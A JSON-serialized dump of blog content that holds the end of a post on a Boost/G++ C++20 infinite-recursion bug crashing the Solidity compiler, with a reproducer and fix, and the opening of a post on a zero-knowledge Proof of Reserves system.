rational_detail::is_compatible_integer\u003C",{"type":21,"tag":153,"props":93802,"children":93803},{"style":214},[93804],{"type":26,"value":93805},"Arg",{"type":21,"tag":153,"props":93807,"children":93808},{"style":160},[93809],{"type":26,"value":1670},{"type":21,"tag":153,"props":93811,"children":93812},{"style":214},[93813],{"type":26,"value":92974},{"type":21,"tag":153,"props":93815,"children":93816},{"style":160},[93817],{"type":26,"value":93818},">::value, ",{"type":21,"tag":153,"props":93820,"children":93821},{"style":170},[93822],{"type":26,"value":32380},{"type":21,"tag":153,"props":93824,"children":93825},{"style":198},[93826],{"type":26,"value":13182},{"type":21,"tag":153,"props":93828,"children":93829},{"style":160},[93830],{"type":26,"value":93831},"::type\n",{"type":21,"tag":153,"props":93833,"children":93834},{"class":155,"line":3355},[93835,93840,93845,93849,93853,93857,93861,93865,93869,93873,93877,93881,93885,93889,93893],{"type":21,"tag":153,"props":93836,"children":93837},{"style":170},[93838],{"type":26,"value":93839},"   operator",{"type":21,"tag":153,"props":93841,"children":93842},{"style":160},[93843],{"type":26,"value":93844}," == (",{"type":21,"tag":153,"props":93846,"children":93847},{"style":170},[93848],{"type":26,"value":5085},{"type":21,"tag":153,"props":93850,"children":93851},{"style":214},[93852],{"type":26,"value":92926},{"type":21,"tag":153,"props":93854,"children":93855},{"style":170},[93856],{"type":26,"value":1974},{"type":21,"tag":153,"props":93858,"children":93859},{"style":192},[93860],{"type":26,"value":93007},{"type":21,"tag":153,"props":93862,"children":93863},{"style":160},[93864],{"type":26,"value":1670},{"type":21,"tag":153,"props":93866,"children":93867},{"style":170},[93868],{"type":26,"value":5085},{"type":21,"tag":153,"props":93870,"children":93871},{"style":214},[93872],{"type":26,"value":92761},{"type":21,"tag":153,"props":93874,"children":93875},{"style":160},[93876],{"type":26,"value":8537},{"type":21,"tag":153,"props":93878,"children":93879},{"style":214},[93880],{"type":26,"value":92974},{"type":21,"tag":153,"props":93882,"children":93883},{"style":160},[93884],{"type":26,"value":13182},{"type":21,"tag":153,"props":93886,"children":93887},{"style":170},[93888],{"type":26,"value":1974},{"type":21,"tag":153,"props":93890,"children":93891},{"style":192},[93892],{"type":26,"value":92133},{"type":21,"tag":153,"props":93894,"children":93895},{"style":160},[93896],{"type":26,"value":5909},{"type":21,"tag":153,"props":93898,"children":93899},{"class":155,"line":3364},[93900],{"type":21,"tag":153,"props":93901,"children":93902},{"style":160},[93903],{"type":26,"value":13601},{"type":21,"tag":153,"props":93905,"children":93906},{"class":155,"line":3376},[93907,93911,93915,93919],{"type":21,"tag":153,"props":93908,"children":93909},{"style":1751},[93910],{"type":26,"value":42048},{"type":21,"tag":153,"props":93912,"children":93913},{"style":160},[93914],{"type":26,"value":19462},{"type":21,"tag":153,"props":93916,"children":93917},{"style":198},[93918],{"type":26,"value":1694},{"type":21,"tag":153,"props":93920,"children":93921},{"style":160},[93922],{"type":26,"value":93923}," b; \n",{"type":21,"tag":153,"props":93925,"children":93926},{"class":155,"line":3393},[93927],{"type":21,"tag":153,"props":93928,"children":93929},{"style":160},[93930],{"type":26,"value":548},{"type":21,"tag":22,"props":93932,"children":93933},{},[93934,93936,93942],{"type":26,"value":93935},"This was designed under C++17 semantics. Back then, ",{"type":21,"tag":78,"props":93937,"children":93939},{"className":93938},[],[93940],{"type":26,"value":93941},"rhs == lhs",{"type":26,"value":93943}," would fall back to member overloads if available. All good.",{"type":21,"tag":22,"props":93945,"children":93946},{},[93947,93949,93954,93955,93961],{"type":26,"value":93948},"But under ",{"type":21,"tag":78,"props":93950,"children":93952},{"className":93951},[],[93953],{"type":26,"value":92498},{"type":26,"value":24196},{"type":21,"tag":78,"props":93956,"children":93958},{"className":93957},[],[93959],{"type":26,"value":93960},"G++ \u003C 14",{"type":26,"value":201},{"type":21,"tag":87,"props":93963,"children":93964},{},[93965,93970,93975,93980],{"type":21,"tag":91,"props":93966,"children":93967},{},[93968],{"type":26,"value":93969},"G++ incorrectly chooses this non-member operator first",{"type":21,"tag":91,"props":93971,"children":93972},{},[93973],{"type":26,"value":93974},"C++20 reverses the comparison",{"type":21,"tag":91,"props":93976,"children":93977},{},[93978],{"type":26,"value":93979},"Which calls the same function again with arguments flipped",{"type":21,"tag":91,"props":93981,"children":93982},{},[93983],{"type":26,"value":93984},"And so on...",{"type":21,"tag":22,"props":93986,"children":93987},{},[93988,93990,93995],{"type":26,"value":93989},"This creates ",{"type":21,"tag":8055,"props":93991,"children":93992},{},[93993],{"type":26,"value":93994},"infinite recursion",{"type":26,"value":355},{"type":21,"tag":22,"props":93997,"children":93998},{},[93999],{"type":26,"value":94000},"A minimal example:",{"type":21,"tag":143,"props":94002,"children":94004},{"code":94003,"language":31807,"meta":7,"className":31805,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[94005],{"type":21,"tag":78,"props":94006,"children":94007},{"__ignoreMap":7},[94008,94016,94028,94035,94050,94074,94097],{"type":21,"tag":153,"props":94009,"children":94010},{"class":155,"line":156},[94011],{"type":21,"tag":153,"props":94012,"children":94013},{"style":3050},[94014],{"type":26,"value":94015},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":21,"tag":153,"props":94017,"children":94018},{"class":155,"line":166},[94019,94023],{"type":21,"tag":153,"props":94020,"children":94021},{"style":1751},[94022],{"type":26,"value":92712},{"type":21,"tag":153,"props":94024,"children":94025},{"style":671},[94026],{"type":26,"value":94027}," \u003Cboost/rational.hpp>\n",{"type":21,"tag":153,"props":94029,"children":94030},{"class":155,"line":225},[94031],{"type":21,"tag":153,"props":94032,"children":94033},{"emptyLinePlaceholder":16},[94034],{"type":26,"value":759},{"type":21,"tag":153,"props":94036,"children":94037},{"class":155,"line":239},[94038,94042,94046],{"type":21,"tag":153,"props":94039,"children":94040},{"style":170},[94041],{"type":26,"value":21743},{"type":21,"tag":153,"props":94043,"children":94044},{"style":181},[94045],{"type":26,"value":93077},{"type":21,"tag":153,"props":94047,"children":94048},{"style":160},[94049],{"type":26,"value":18433},{"type":21,"tag":153,"props":94051,"children":94052},{"class":155,"line":382},[94053,94058,94062,94066,94070],{"type":21,"tag":153,"props":94054,"children":94055},{"style":160},[94056],{"type":26,"value":94057},"    boost::rational",{"type":21,"tag":153,"props":94059,"children":94060},{"style":198},[94061],{"type":26,"value":8537},{"type":21,"tag":153,"props":94063,"children":94064},{"style":170},[94065],{"type":26,"value":21743},{"type":21,"tag":153,"props":94067,"children":94068},{"style":198},[94069],{"type":26,"value":13182},{"type":21,"tag":153,"props":94071,"children":94072},{"style":160},[94073],{"type":26,"value":93106},{"type":21,"tag":153,"props":94075,"children":94076},{"class":155,"line":501},[94077,94081,94085,94089,94093],{"type":21,"tag":153,"props":94078,"children":94079},{"style":1751},[94080],{"type":26,"value":19687},{"type":21,"tag":153,"props":94082,"children":94083},{"style":160},[94084],{"type":26,"value":93118},{"type":21,"tag":153,"props":94086,"children":94087},{"style":198},[94088],{"type":26,"value":1694},{"type":21,"tag":153,"props":94090,"children":94091},{"style":300},[94092],{"type":26,"value":5799},{"type":21,"tag":153,"props":94094,"children":94095},{"style":160},[94096],{"type":26,"value":1759},{"type":21,"tag":153,"props":94098,"children":94099},{"class":155,"line":533},[94100],{"type":21,"tag":153,"props":94101,"children":94102},{"style":160},[94103],{"type":26,"value":548},{"type":21,"tag":22,"props":94105,"children":94106},{},[94107],{"type":26,"value":94108},"Expected output: nothing.",{"type":21,"tag":22,"props":94110,"children":94111},{},[94112],{"type":26,"value":94113},"Actual: segmentation fault (stack overflow).",{"type":21,"tag":22,"props":94115,"children":94116},{},[94117,94119,94126],{"type":26,"value":94118},"This exact pattern was ",{"type":21,"tag":29,"props":94120,"children":94123},{"href":94121,"rel":94122},"https://github.com/boostorg/rational/issues/43",[33],[94124],{"type":26,"value":94125},"reported and fixed in Boost rational",{"type":26,"value":94127},", but only in version 1.75+.",{"type":21,"tag":22,"props":94129,"children":94130},{},[94131],{"type":26,"value":94132},"Here’s the one-line fix:",{"type":21,"tag":143,"props":94134,"children":94136},{"code":94135,"language":43054,"meta":7,"className":43052,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[94137],{"type":21,"tag":78,"props":94138,"children":94139},{"__ignoreMap":7},[94140,94148,94155,94163,94171,94179,94186,94194,94202],{"type":21,"tag":153,"props":94141,"children":94142},{"class":155,"line":156},[94143],{"type":21,"tag":153,"props":94144,"children":94145},{"style":160},[94146],{"type":26,"value":94147},"template \u003Cclass Arg, class IntType>\n",{"type":21,"tag":153,"props":94149,"children":94150},{"class":155,"line":166},[94151],{"type":21,"tag":153,"props":94152,"children":94153},{"style":160},[94154],{"type":26,"value":93764},{"type":21,"tag":153,"props":94156,"children":94157},{"class":155,"line":225},[94158],{"type":21,"tag":153,"props":94159,"children":94160},{"style":160},[94161],{"type":26,"value":94162},"inline typename boost::enable_if_c \u003C\n",{"type":21,"tag":153,"props":94164,"children":94165},{"class":155,"line":239},[94166],{"type":21,"tag":153,"props":94167,"children":94168},{"style":160},[94169],{"type":26,"value":94170},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":21,"tag":153,"props":94172,"children":94173},{"class":155,"line":382},[94174],{"type":21,"tag":153,"props":94175,"children":94176},{"style":160},[94177],{"type":26,"value":94178},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":21,"tag":153,"props":94180,"children":94181},{"class":155,"line":501},[94182],{"type":21,"tag":153,"props":94183,"children":94184},{"style":160},[94185],{"type":26,"value":13601},{"type":21,"tag":153,"props":94187,"children":94188},{"class":155,"line":533},[94189],{"type":21,"tag":153,"props":94190,"children":94191},{"style":671},[94192],{"type":26,"value":94193},"-     return a == b;\n",{"type":21,"tag":153,"props":94195,"children":94196},{"class":155,"line":542},[94197],{"type":21,"tag":153,"props":94198,"children":94199},{"style":300},[94200],{"type":26,"value":94201},"+     return a.operator==(b);\n",{"type":21,"tag":153,"props":94203,"children":94204},{"class":155,"line":762},[94205],{"type":21,"tag":153,"props":94206,"children":94207},{"style":160},[94208],{"type":26,"value":548},{"type":21,"tag":22,"props":94210,"children":94211},{},[94212,94214,94219,94221,94226],{"type":26,"value":94213},"Instead of calling ",{"type":21,"tag":78,"props":94215,"children":94217},{"className":94216},[],[94218],{"type":26,"value":92544},{"type":26,"value":94220}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":21,"tag":78,"props":94222,"children":94224},{"className":94223},[],[94225],{"type":26,"value":92552},{"type":26,"value":355},{"type":21,"tag":22,"props":94228,"children":94229},{},[94230],{"type":26,"value":94231},"This prevents C++20 from triggering recursive rewrites.",{"type":21,"tag":21491,"props":94233,"children":94234},{},[],{"type":21,"tag":66,"props":94236,"children":94238},{"id":94237},"part-iv-how-this-breaks-solidity",[94239],{"type":26,"value":94240},"Part IV: How This Breaks Solidity",{"type":21,"tag":22,"props":94242,"children":94243},{},[94244,94246,94251],{"type":26,"value":94245},"The Solidity codebase uses ",{"type":21,"tag":78,"props":94247,"children":94249},{"className":94248},[],[94250],{"type":26,"value":92399},{"type":26,"value":94252}," to represent certain compile-time constant expressions.",{"type":21,"tag":22,"props":94254,"children":94255},{},[94256,94258,94264],{"type":26,"value":94257},"One snippet that can trigger this issue appears in ",{"type":21,"tag":78,"props":94259,"children":94261},{"className":94260},[],[94262],{"type":26,"value":94263},"DeclarationTypeChecker::endVisit",{"type":26,"value":201},{"type":21,"tag":143,"props":94266,"children":94268},{"code":94267,"language":31807,"meta":7,"className":31805,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[94269],{"type":21,"tag":78,"props":94270,"children":94271},{"__ignoreMap":7},[94272,94319,94344,94351,94429,94436,94489,94517,94524,94544,94551,94591,94598],{"type":21,"tag":153,"props":94273,"children":94274},{"class":155,"line":156},[94275,94279,94284,94288,94292,94297,94301,94306,94310,94314],{"type":21,"tag":153,"props":94276,"children":94277},{"style":1751},[94278],{"type":26,"value":2338},{"type":21,"tag":153,"props":94280,"children":94281},{"style":160},[94282],{"type":26,"value":94283}," (Expression ",{"type":21,"tag":153,"props":94285,"children":94286},{"style":170},[94287],{"type":26,"value":5085},{"type":21,"tag":153,"props":94289,"children":94290},{"style":198},[94291],{"type":26,"value":313},{"type":21,"tag":153,"props":94293,"children":94294},{"style":160},[94295],{"type":26,"value":94296}," length ",{"type":21,"tag":153,"props":94298,"children":94299},{"style":198},[94300],{"type":26,"value":2367},{"type":21,"tag":153,"props":94302,"children":94303},{"style":192},[94304],{"type":26,"value":94305}," _typeName",{"type":21,"tag":153,"props":94307,"children":94308},{"style":160},[94309],{"type":26,"value":355},{"type":21,"tag":153,"props":94311,"children":94312},{"style":181},[94313],{"type":26,"value":11230},{"type":21,"tag":153,"props":94315,"children":94316},{"style":160},[94317],{"type":26,"value":94318},"()) {\n",{"type":21,"tag":153,"props":94320,"children":94321},{"class":155,"line":166},[94322,94327,94331,94335,94339],{"type":21,"tag":153,"props":94323,"children":94324},{"style":160},[94325],{"type":26,"value":94326},"    std::optional",{"type":21,"tag":153,"props":94328,"children":94329},{"style":198},[94330],{"type":26,"value":8537},{"type":21,"tag":153,"props":94332,"children":94333},{"style":160},[94334],{"type":26,"value":93404},{"type":21,"tag":153,"props":94336,"children":94337},{"style":198},[94338],{"type":26,"value":13182},{"type":21,"tag":153,"props":94340,"children":94341},{"style":160},[94342],{"type":26,"value":94343}," lengthValue;\n",{"type":21,"tag":153,"props":94345,"children":94346},{"class":155,"line":225},[94347],{"type":21,"tag":153,"props":94348,"children":94349},{"emptyLinePlaceholder":16},[94350],{"type":26,"value":759},{"type":21,"tag":153,"props":94352,"children":94353},{"class":155,"line":239},[94354,94358,94362,94366,94370,94374,94378,94382,94386,94391,94395,94399,94403,94407,94411,94416,94420,94424],{"type":21,"tag":153,"props":94355,"children":94356},{"style":1751},[94357],{"type":26,"value":2434},{"type":21,"tag":153,"props":94359,"children":94360},{"style":160},[94361],{"type":26,"value":5820},{"type":21,"tag":153,"props":94363,"children":94364},{"style":192},[94365],{"type":26,"value":11230},{"type":21,"tag":153,"props":94367,"children":94368},{"style":160},[94369],{"type":26,"value":2953},{"type":21,"tag":153,"props":94371,"children":94372},{"style":181},[94373],{"type":26,"value":32857},{"type":21,"tag":153,"props":94375,"children":94376},{"style":160},[94377],{"type":26,"value":32862},{"type":21,"tag":153,"props":94379,"children":94380},{"style":192},[94381],{"type":26,"value":35450},{"type":21,"tag":153,"props":94383,"children":94384},{"style":198},[94385],{"type":26,"value":16893},{"type":21,"tag":153,"props":94387,"children":94388},{"style":192},[94389],{"type":26,"value":94390}," length",{"type":21,"tag":153,"props":94392,"children":94393},{"style":160},[94394],{"type":26,"value":2953},{"type":21,"tag":153,"props":94396,"children":94397},{"style":181},[94398],{"type":26,"value":32857},{"type":21,"tag":153,"props":94400,"children":94401},{"style":160},[94402],{"type":26,"value":32862},{"type":21,"tag":153,"props":94404,"children":94405},{"style":192},[94406],{"type":26,"value":35450},{"type":21,"tag":153,"props":94408,"children":94409},{"style":160},[94410],{"type":26,"value":2953},{"type":21,"tag":153,"props":94412,"children":94413},{"style":181},[94414],{"type":26,"value":94415},"category",{"type":21,"tag":153,"props":94417,"children":94418},{"style":160},[94419],{"type":26,"value":2461},{"type":21,"tag":153,"props":94421,"children":94422},{"style":198},[94423],{"type":26,"value":1694},{"type":21,"tag":153,"props":94425,"children":94426},{"style":160},[94427],{"type":26,"value":94428}," Type::Category::RationalNumber)\n",{"type":21,"tag":153,"props":94430,"children":94431},{"class":155,"line":382},[94432],{"type":21,"tag":153,"props":94433,"children":94434},{"style":160},[94435],{"type":26,"value":84139},{"type":21,"tag":153,"props":94437,"children":94438},{"class":155,"line":501},[94439,94444,94448,94453,94457,94462,94466,94471,94475,94480,94484],{"type":21,"tag":153,"props":94440,"children":94441},{"style":1751},[94442],{"type":26,"value":94443},"    else",{"type":21,"tag":153,"props":94445,"children":94446},{"style":1751},[94447],{"type":26,"value":18485},{"type":21,"tag":153,"props":94449,"children":94450},{"style":160},[94451],{"type":26,"value":94452}," (std::optional",{"type":21,"tag":153,"props":94454,"children":94455},{"style":198},[94456],{"type":26,"value":8537},{"type":21,"tag":153,"props":94458,"children":94459},{"style":160},[94460],{"type":26,"value":94461},"ConstantEvaluator::TypedRational",{"type":21,"tag":153,"props":94463,"children":94464},{"style":198},[94465],{"type":26,"value":13182},{"type":21,"tag":153,"props":94467,"children":94468},{"style":160},[94469],{"type":26,"value":94470}," value ",{"type":21,"tag":153,"props":94472,"children":94473},{"style":198},[94474],{"type":26,"value":2367},{"type":21,"tag":153,"props":94476,"children":94477},{"style":160},[94478],{"type":26,"value":94479}," ConstantEvaluator::",{"type":21,"tag":153,"props":94481,"children":94482},{"style":181},[94483],{"type":26,"value":40698},{"type":21,"tag":153,"props":94485,"children":94486},{"style":160},[94487],{"type":26,"value":94488},"(...))\n",{"type":21,"tag":153,"props":94490,"children":94491},{"class":155,"line":533},[94492,94497,94501,94505,94509,94513],{"type":21,"tag":153,"props":94493,"children":94494},{"style":160},[94495],{"type":26,"value":94496},"        lengthValue ",{"type":21,"tag":153,"props":94498,"children":94499},{"style":198},[94500],{"type":26,"value":2367},{"type":21,"tag":153,"props":94502,"children":94503},{"style":192},[94504],{"type":26,"value":35204},{"type":21,"tag":153,"props":94506,"children":94507},{"style":160},[94508],{"type":26,"value":2953},{"type":21,"tag":153,"props":94510,"children":94511},{"style":192},[94512],{"type":26,"value":41843},{"type":21,"tag":153,"props":94514,"children":94515},{"style":160},[94516],{"type":26,"value":1759},{"type":21,"tag":153,"props":94518,"children":94519},{"class":155,"line":542},[94520],{"type":21,"tag":153,"props":94521,"children":94522},{"emptyLinePlaceholder":16},[94523],{"type":26,"value":759},{"type":21,"tag":153,"props":94525,"children":94526},{"class":155,"line":762},[94527,94531,94535,94539],{"type":21,"tag":153,"props":94528,"children":94529},{"style":1751},[94530],{"type":26,"value":2434},{"type":21,"tag":153,"props":94532,"children":94533},{"style":160},[94534],{"type":26,"value":5820},{"type":21,"tag":153,"props":94536,"children":94537},{"style":198},[94538],{"type":26,"value":23315},{"type":21,"tag":153,"props":94540,"children":94541},{"style":160},[94542],{"type":26,"value":94543},"lengthValue)\n",{"type":21,"tag":153,"props":94545,"children":94546},{"class":155,"line":776},[94547],{"type":21,"tag":153,"props":94548,"children":94549},{"style":160},[94550],{"type":26,"value":84139},{"type":21,"tag":153,"props":94552,"children":94553},{"class":155,"line":795},[94554,94558,94562,94566,94570,94574,94578,94582,94586],{"type":21,"tag":153,"props":94555,"children":94556},{"style":1751},[94557],{"type":26,"value":94443},{"type":21,"tag":153,"props":94559,"children":94560},{"style":1751},[94561],{"type":26,"value":18485},{"type":21,"tag":153,"props":94563,"children":94564},{"style":160},[94565],{"type":26,"value":5820},{"type":21,"tag":153,"props":94567,"children":94568},{"style":198},[94569],{"type":26,"value":313},{"type":21,"tag":153,"props":94571,"children":94572},{"style":160},[94573],{"type":26,"value":92375},{"type":21,"tag":153,"props":94575,"children":94576},{"style":198},[94577],{"type":26,"value":1694},{"type":21,"tag":153,"props":94579,"children":94580},{"style":300},[94581],{"type":26,"value":5799},{"type":21,"tag":153,"props":94583,"children":94584},{"style":160},[94585],{"type":26,"value":2071},{"type":21,"tag":153,"props":94587,"children":94588},{"style":3050},[94589],{"type":26,"value":94590},"  // \u003C-- Infinite recursion happens here\n",{"type":21,"tag":153,"props":94592,"children":94593},{"class":155,"line":808},[94594],{"type":21,"tag":153,"props":94595,"children":94596},{"style":160},[94597],{"type":26,"value":84139},{"type":21,"tag":153,"props":94599,"children":94600},{"class":155,"line":820},[94601],{"type":21,"tag":153,"props":94602,"children":94603},{"style":160},[94604],{"type":26,"value":548},{"type":21,"tag":22,"props":94606,"children":94607},{},[94608],{"type":26,"value":94609},"Under normal circumstances, this expression is benign. But:",{"type":21,"tag":87,"props":94611,"children":94612},{},[94613,94618,94623],{"type":21,"tag":91,"props":94614,"children":94615},{},[94616],{"type":26,"value":94617},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":21,"tag":91,"props":94619,"children":94620},{},[94621],{"type":26,"value":94622},"C++20 reverses the arguments",{"type":21,"tag":91,"props":94624,"children":94625},{},[94626],{"type":26,"value":94627},"The non-member operator recursively calls itself",{"type":21,"tag":22,"props":94629,"children":94630},{},[94631],{"type":26,"value":94632},"💥: segmentation fault.",{"type":21,"tag":21491,"props":94634,"children":94635},{},[],{"type":21,"tag":66,"props":94637,"children":94639},{"id":94638},"part-v-what-environments-are-affected",[94640],{"type":26,"value":94641},"Part V: What Environments are Affected?",{"type":21,"tag":22,"props":94643,"children":94644},{},[94645],{"type":26,"value":94646},"If a system uses any of the following:",{"type":21,"tag":87,"props":94648,"children":94649},{},[94650,94655,94660],{"type":21,"tag":91,"props":94651,"children":94652},{},[94653],{"type":26,"value":94654},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":21,"tag":91,"props":94656,"children":94657},{},[94658],{"type":26,"value":94659},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":21,"tag":91,"props":94661,"children":94662},{},[94663],{"type":26,"value":94664},"C++20 enabled (default in recent Solidity builds)",{"type":21,"tag":22,"props":94666,"children":94667},{},[94668,94670,94675,94677,94683],{"type":26,"value":94669},"They will encounter this crash ",{"type":21,"tag":8055,"props":94671,"children":94672},{},[94673],{"type":26,"value":94674},"as soon as",{"type":26,"value":94676}," it processes a Solidity source with a length expression like ",{"type":21,"tag":78,"props":94678,"children":94680},{"className":94679},[],[94681],{"type":26,"value":94682},"T[0]",{"type":26,"value":94684}," or anything involving compile-time rational comparisons.",{"type":21,"tag":21491,"props":94686,"children":94687},{},[],{"type":21,"tag":66,"props":94689,"children":94691},{"id":94690},"recommendations",[94692],{"type":26,"value":94693},"Recommendations",{"type":21,"tag":87,"props":94695,"children":94696},{},[94697,94705],{"type":21,"tag":91,"props":94698,"children":94699},{},[94700],{"type":21,"tag":8055,"props":94701,"children":94702},{},[94703],{"type":26,"value":94704},"Update Boost to ≥ 1.75",{"type":21,"tag":91,"props":94706,"children":94707},{},[94708],{"type":21,"tag":8055,"props":94709,"children":94710},{},[94711],{"type":26,"value":94712},"Pin G++ to v14 or later",{"type":21,"tag":21491,"props":94714,"children":94715},{},[],{"type":21,"tag":66,"props":94717,"children":94718},{"id":5568},[94719],{"type":26,"value":5571},{"type":21,"tag":22,"props":94721,"children":94722},{},[94723],{"type":26,"value":94724},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":21,"tag":22,"props":94726,"children":94727},{},[94728,94730,94734],{"type":26,"value":94729},"But it ",{"type":21,"tag":8055,"props":94731,"children":94732},{},[94733],{"type":26,"value":6706},{"type":26,"value":94735}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":21,"tag":22,"props":94737,"children":94738},{},[94739],{"type":26,"value":94740},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":21,"tag":22,"props":94742,"children":94743},{},[94744],{"type":26,"value":94745},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":21,"tag":5603,"props":94747,"children":94748},{},[94749],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":94751},[94752,94753,94758,94761,94762,94763,94764,94765],{"id":92435,"depth":166,"text":92438},{"id":92524,"depth":166,"text":92527,"children":94754},[94755,94756,94757],{"id":92530,"depth":225,"text":92533},{"id":92598,"depth":225,"text":92601},{"id":92689,"depth":225,"text":92692},{"id":93273,"depth":166,"text":93276,"children":94759},[94760],{"id":93279,"depth":225,"text":93282},{"id":93390,"depth":166,"text":93393},{"id":94237,"depth":166,"text":94240},{"id":94638,"depth":166,"text":94641},{"id":94690,"depth":166,"text":94693},{"id":5568,"depth":166,"text":5571},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":94770,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94771,"description":94772,"date":94773,"author":33895,"image":94774,"isFeatured":16,"onBlogPage":16,"tags":94776,"body":94779,"_type":5619,"_id":99555,"_source":5621,"_file":99556,"_stem":99557,"_extension":5624},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":94775,"width":16340,"height":16340},"/posts/por/title.png",[94777,94778],"zk","por",{"type":18,"children":94780,"toc":99532},[94781,94787,94799,94811,94816,94848,94862,94868,94880,94885,94890,94927,94932,94938,94943,94950,94955,94981,94986,94992,95012,95026,95034,95039,95044,95052,95065,95071,95153,95159,95164,95177,95182,95189,95213,95221,95226,95232,95237,95685,95698,95704,95709,95717,95735,95743,95756,95764,97425,97430,97437,97443,97448,97455,97471,97478,97486,97493,99004,99009,99016,99022,99027,99054,99059,99078,99084,99092,99110,99159,99167,99186,99208,99214,99227,99232,99239,99244,99307,99312,99319,99339,99345,99350,99356,99361,99405,99410,99418,99424,99429,99471,99476,99484,99489,99497,99501,99506,99519],{"type":21,"tag":66,"props":94782,"children":94784},{"id":94783},"what-is-a-proof-of-reserves",[94785],{"type":26,"value":94786},"What is a Proof of Reserves?",{"type":21,"tag":22,"props":94788,"children":94789},{},[94790,94792,94797],{"type":26,"value":94791},"At its heart, ",{"type":21,"tag":8055,"props":94793,"children":94794},{},[94795],{"type":26,"value":94796},"Proof of Reserves (PoR)",{"type":26,"value":94798}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":21,"tag":22,"props":94800,"children":94801},{},[94802,94804,94809],{"type":26,"value":94803},"Think of it this way: ",{"type":21,"tag":8055,"props":94805,"children":94806},{},[94807],{"type":26,"value":94808},"PoR",{"type":26,"value":94810}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":21,"tag":22,"props":94812,"children":94813},{},[94814],{"type":26,"value":94815},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":21,"tag":22,"props":94817,"children":94818},{},[94819,94821,94828,94830,94837,94839,94846],{"type":26,"value":94820},"We from OtterSec, in partnership with ",{"type":21,"tag":29,"props":94822,"children":94825},{"href":94823,"rel":94824},"https://backpack.exchange/",[33],[94826],{"type":26,"value":94827},"Backpack",{"type":26,"value":94829},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":21,"tag":29,"props":94831,"children":94834},{"href":94832,"rel":94833},"https://github.com/otter-sec/por_v2",[33],[94835],{"type":26,"value":94836},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":26,"value":94838}," was based on ",{"type":21,"tag":29,"props":94840,"children":94843},{"href":94841,"rel":94842},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[33],[94844],{"type":26,"value":94845},"OKX Proof of Reserves algorithm",{"type":26,"value":94847}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":21,"tag":22,"props":94849,"children":94850},{},[94851,94853,94860],{"type":26,"value":94852},"In addition, we also created and open-sourced a ",{"type":21,"tag":29,"props":94854,"children":94857},{"href":94855,"rel":94856},"https://github.com/otter-sec/por_verifier_server",[33],[94858],{"type":26,"value":94859},"PoR verifier server",{"type":26,"value":94861}," that receives the proofs and validates them.",{"type":21,"tag":66,"props":94863,"children":94865},{"id":94864},"why-do-we-use-zk-for-por",[94866],{"type":26,"value":94867},"Why do we use ZK for PoR?",{"type":21,"tag":22,"props":94869,"children":94870},{},[94871,94873,94878],{"type":26,"value":94872},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":21,"tag":8055,"props":94874,"children":94875},{},[94876],{"type":26,"value":94877},"Zero-Knowledge Proofs (ZKPs)",{"type":26,"value":94879}," become game-changers.",{"type":21,"tag":22,"props":94881,"children":94882},{},[94883],{"type":26,"value":94884},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":21,"tag":22,"props":94886,"children":94887},{},[94888],{"type":26,"value":94889},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things 